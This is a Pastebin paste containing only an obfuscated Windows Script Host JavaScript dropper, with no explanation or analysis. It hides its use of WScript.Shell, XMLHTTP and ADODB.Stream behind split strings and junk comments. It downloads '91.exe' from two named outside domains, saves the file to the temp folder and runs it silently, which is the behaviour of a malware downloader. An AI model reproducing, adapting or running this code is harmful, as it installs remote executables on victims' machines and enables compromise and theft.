Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var r = "firstwetakemanhat.com/91.exe? miracleworld1.com/91.exe? ? ?".split(" ");
- var Yte =((1/*YRjU657206596n252795uM354193eOiZ*/)?"WScri":"")+"pt.Shell";
- var Wb = WScript.CreateObject(Yte);
- var yv = "%TEMP%\\";
- var cnl = Wb.ExpandEnvironmentStrings(yv);
- var pAj = "2.XMLH";
- var HSK = pAj + "TTP";
- var zD = true , mjce = "ADOD";
- var vE = WScript.CreateObject("MS"+"XML"+(831209, HSK));
- var Xzo = WScript.CreateObject(mjce + "B.St"+(162841, "ream"));
- var NNF = 0;
- var B = 1;
- var Asrznox = 364234;
- for (var d=NNF; d<r.length; d++) {
- var fz = 0;
- try {
- poi = "GET";
- vE.open(poi,"http://"+r[d]+B, false); vE.send(); if (vE.status == 624-424) {
- Xzo.open(); Xzo.type = 1; Xzo.write(vE.responseBody); if (Xzo.size > 160685-687) {
- fz = 1; Xzo.position = 0; Xzo.saveToFile/*DgCI31PMfY*/(cnl/*8DMp5529Xu*/+Asrznox+".exe",4-2); try {
- if (((new Date())>0,7562005888)) {
- Wb./*d841430Xl7C*/Run(cnl+Asrznox+/*QK3F41DIjH*/".exe",/*rYIe99EyNR*/3-2,0);
- break;
- }
- }
- catch (cG) {
- };
- }; Xzo.close();
- };
- if (fz == 1) {
- NNF = d; break;
- };
- }
- catch (cG) {
- };
- };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement